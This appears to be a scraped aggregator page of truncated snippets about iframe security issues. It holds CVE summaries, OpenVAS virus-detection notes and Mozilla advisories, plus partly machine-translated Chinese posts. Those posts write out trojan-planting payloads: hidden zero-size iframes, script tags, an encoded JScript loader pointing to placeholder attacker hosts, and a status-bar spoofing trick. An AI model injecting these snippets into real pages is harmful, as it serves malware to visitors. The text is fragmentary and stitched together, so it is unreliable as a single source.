Some of the so-called JPG or gif image web page Trojan horse-vulnerability warning-the black bar safety net

Some so-called gif images web Trojan Related web page often so make html body iframe src=http://x.x.x.x/1.htm width=0 height=0/iframe img src=http://y. y. y. y/images/logo. gif/img /body /html 把 上面 代码 保存 成 mm.htm and then put online. Of course, 如果你把这个mm.htm改名成mm.jpg, and then use another page to...

CVE-2006-0180

CaLogic Calendars 1.2.2 contains a cross-site scripting (XSS) vulnerability that allows remote attackers to inject arbitrary script/HTML via the Title field on the "Adding New Event" page, and possibly other vectors involving iframe tags. The affected component is the calendar input handling in C...

Cross site scripting

Cross-site scripting XSS vulnerability in CaLogic Calendars 1.2.2 allows remote attackers to inject arbitrary web script or HTML via the Title field on the "Adding New Event" page, and possibly other vectors, involving iframe tags...

CVE-2006-0180

Cross-site scripting XSS vulnerability in CaLogic Calendars 1.2.2 allows remote attackers to inject arbitrary web script or HTML via the Title field on the "Adding New Event" page, and possibly other vectors, involving iframe tags...

CVE-2005-3630

Fedora Directory Server before 10 allows remote attackers to obtain sensitive information, such as the password from adm.conf via an IFRAME element, probably involving an Apache httpd.conf configuration that orders "allow" directives before "deny" directives...

CVE-2005-4720

Mozilla Firefox 1.0.7 and earlier on Linux allows remote attackers to cause a denial of service client crash via an IFRAME element with a large value of the WIDTH attribute, which triggers a problem related to representation of floating-point numbers, leading to an infinite loop of widget resizes...

Hang the page of the horse a couple of methods-vulnerability warning-the black bar safety net

One, the most simple are also the most effective iframe src=http://www.xxx.com/muma.html width=0 height=0/iframe Second, js hang horse script src=http://www. xxx. com/muma. js/script Third, the js modification encryption SCRIPT language="JScript. Encode" src=http://www. xxx. com/muma. txt/script...

Hung it to a trick-vulnerability warning-the black bar safety net

| --- | Hung it when using theiframe src=http://www.sohu.com/mm.htm width=0 height=0/iframesuch source code, but the browser is hung when the status bar will display hung it to the link in mm. htm or is hanging the page, add the phrasebody onload=window. status="is hanging stations of the URL"may...

Bofra Virus Detection

The remote host seems to have been infected with the Bofra virus or one of its variants, which infects machines via an Internet Explorer IFRAME exploit. It is very likely this system has been compromised. OpenVAS Vulnerability Test $Id: bofradetect.nasl 6053 2017-05-01 09:02:51Z teissa $...

Bofra Virus Detection

The remote host seems to have been infected with the Bofra virus or one of its variants, which infects machines via an Internet Explorer IFRAME exploit. It is very likely this system has been compromised. SPDX-FileCopyrightText: 2005 Brian Smith-Sweeney Some text descriptions might be excerpted...

Mozilla Firefox 1.0.61.0.7 - iFrame Handling Denial of Service

Mozilla Firefox 1.0.61.0.7 - iFrame Handling Denial of Service source: https://www.securityfocus.com/bid/15015/info Mozilla Firefox is prone to a remote denial of service vulnerability. The vulnerability presents itself when an affected browser handles a specially crafted IFRAME. A successful...

Mozilla Firefox 1.0.6/1.0.7 - iFrame Handling Denial of Service

source: https://www.securityfocus.com/bid/15015/info Mozilla Firefox is prone to a remote denial of service vulnerability. The vulnerability presents itself when an affected browser handles a specially crafted IFRAME. A successful attack may result in crashing the application, or consuming...

CVE-2004-2476

Microsoft Internet Explorer 6.0 allows remote attackers to cause a denial of service infinite loop and crash via an IFRAME with "?" as the file source...

CVE-2004-2476

The vulnerability CVE-2004-2476 affects Microsoft Internet Explorer 6.0. A remote attacker can induce a denial-of-service by embedding an IFRAME whose source is the character "?"; this leads to an infinite loop and browser crash. The available documents confirm the affected product and the failur...

CVE-2004-2307

Microsoft Internet Explorer 6.0.2600 on Windows XP allows remote attackers to cause a denial of service browser crash via a shell: URI with double backslashes \ in an HTML tag such as IFRAME or A...

gossamerXSS.txt

Gossamer Threads Links SQL login XSS Vulnerability Class Input Validation XSS Remote Local Published / Updated Yes Yes 04th May 2005 Vulnerable Vulnerable: Gossamer Threads Links SQL v3.0 + Links SQL 2.x + Links SQL 2.2.x + Links SQL 3.0 Not Vulnerable - Discussion Links SQL is a perl/modperl/PHP...

CVE-2002-2100

Microsoft Outlook 2002 allows remote attackers to embed bypass the file download restrictions for attachments via an HTML email message that uses an IFRAME to reference malicious content...

CVE-2002-2100

Technical details about CVE-2002-2100 are not publicly available in the provided connected documents. The description confirms Outlook 2002 as affected via IFRAME content, but no root cause, affected versions, or fixes are disclosed. Monitor for updates.

Mozilla Suite: Multiple vulnerabilities

Background The Mozilla Suite is an all-in-one Internet application suite including a web browser, an advanced e-mail and newsgroup client, IRC client and HTML editor. Description The following vulnerabilities were found and fixed in the Mozilla Suite: "mozbugra4" and "shutdown" discovered that th...

FreeBSD : mozilla -- code execution via javascript: IconURL vulnerability (eca6195a-c233-11d9-804c-02061b08fc24)

A Mozilla Foundation Security Advisory reports : Two vulnerabilities have been discovered in Firefox, which can be exploited by malicious people to conduct cross-site scripting attacks and compromise a user's system. - The problem is that 'IFRAME' JavaScript URLs are not properly protected from...